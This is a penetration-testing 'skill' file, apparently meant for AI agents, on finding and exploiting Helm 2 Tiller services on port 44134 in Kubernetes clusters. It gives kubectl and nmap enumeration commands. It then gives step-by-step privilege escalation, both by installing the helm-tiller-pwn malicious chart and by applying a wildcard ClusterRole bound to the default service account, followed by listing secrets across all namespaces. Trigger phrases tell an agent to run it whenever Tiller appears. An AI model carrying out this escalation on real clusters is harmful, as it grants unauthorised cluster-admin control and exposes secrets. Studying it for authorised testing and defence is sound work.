Hacktricks-skills kubernetes-tiller-pentest
How to enumerate and exploit Tiller/Helm services (port 44134) in Kubernetes clusters for privilege escalation. Use this skill whenever you're pentesting a Kubernetes cluster, find port 44134 open, discover Tiller services, or need to escalate privileges through Helm. Trigger this when you see 'tiller' in pod/service names, port 44134 in nmap scans, or when you have kubectl access and want to check for Tiller vulnerabilities.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/44134-pentesting-tiller-helm/SKILL.MDKubernetes Tiller/Helm Pentesting
This skill helps you enumerate and exploit Tiller/Helm services running on port 44134 in Kubernetes clusters. Tiller is the server-side component of Helm 2 that often runs with excessive privileges, making it a prime target for privilege escalation.
When to Use This Skill
- You've discovered port 44134 open on a target
- You have kubectl access and want to check for Tiller services
- You're pentesting a Kubernetes cluster and need to enumerate package management services
- You've found pods or services with "tiller" in their name
- You need to escalate privileges in a Kubernetes environment
Quick Start
If you already have kubectl access and want to quickly check for Tiller:
# Run the enumeration script ./scripts/enumerate-tiller.sh
Step 1: Enumerate Tiller Services
Using kubectl (if you have cluster access)
Search for Tiller pods and services across namespaces:
# Check default namespace kubectl get pods | grep -i "tiller" kubectl get services | grep -i "tiller" # Check kube-system namespace (most common location) kubectl get pods -n kube-system | grep -i "tiller" kubectl get services -n kube-system | grep -i "tiller" # Check all namespaces kubectl get pods --all-namespaces | grep -i "tiller" kubectl get services --all-namespaces | grep -i "tiller" # Or check a specific namespace kubectl get pods -n <namespace> | grep -i "tiller" kubectl get services -n <namespace> | grep -i "tiller"
What to look for:
- Pods named like
tiller-deploy-<hash> - Services named
on port 44134/TCPtiller-deploy - The service is typically in the
namespacekube-system
Using nmap (if you have network access)
# Scan for Tiller port sudo nmap -sS -p 44134 <target-ip> # Full scan if you suspect Tiller sudo nmap -sS -p 44134 -sV <target-ip>
Step 2: Install Helm Client
Once you've discovered Tiller, you need the Helm client to communicate with it:
Using Homebrew (macOS)
brew install helm
Using Official Releases
Download from: https://github.com/helm/helm/releases
Using Package Manager
# Ubuntu/Debian curl https://raw.githubusercontent.com/helm/helm/master/scripts/get-helm-2 | bash # Or download manually wget https://get.helm.sh/helm-v2.16.1-linux-amd64.tar.gz tar -zxvf helm-v2.16.1-linux-amd64.tar.gz sudo mv linux-amd64/helm /usr/local/bin/
Note: Use Helm v2.x for Tiller compatibility. Helm v3 removed Tiller.
Step 3: Connect and Enumerate Tiller
Once Helm is installed, connect to the Tiller service:
# Check version (basic connectivity test) helm --host <tiller-service>:44134 version # Example with kube-system namespace helm --host tiller-deploy.kube-system:44134 version # List installed charts helm --host <tiller-service>:44134 list # Get history of a release helm --host <tiller-service>:44134 history <release-name>
Step 4: Privilege Escalation
Critical: Tiller in Helm 2 was typically installed with cluster-admin privileges by default. If you can connect to it, you can likely escalate to full cluster control.
Using helm-tiller-pwn
This exploit grants the default service account full cluster access:
# Clone the exploit git clone https://github.com/Ruil1n/helm-tiller-pwn cd helm-tiller-pwn # Install the malicious chart helm --host tiller-deploy.kube-system:44134 install --name pwnchart ./helm-tiller-pwn # Execute the privilege escalation ./pwnchart
How It Works
The exploit creates:
- ClusterRole with full permissions (see
)clusterrole.yaml - ClusterRoleBinding that binds these permissions to the default service account (see
)clusterrolebinding.yaml
After running, your current kubectl context will have cluster-admin privileges.
Manual Alternative
If you prefer to understand and execute manually:
# Create a ClusterRole with full permissions cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: cluster-admin-full rules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"] EOF # Bind it to your service account cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: default-cluster-admin roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin-full subjects: - kind: ServiceAccount name: default namespace: <your-namespace> EOF
Verification
After privilege escalation, verify you have cluster-admin access:
# Check your RBAC permissions kubectl auth can-i --list # Try to access all namespaces kubectl get pods --all-namespaces # Access secrets (if you have them) kubectl get secrets --all-namespaces
Important Notes
- Helm 2 vs Helm 3: This only works with Helm 2. Helm 3 removed Tiller entirely.
- Namespace matters: Tiller is typically in
but check all namespaces.kube-system - Service account: The exploit works by elevating the default service account.
- Cleanup: After exploitation, you may want to remove the malicious chart:
helm delete pwnchart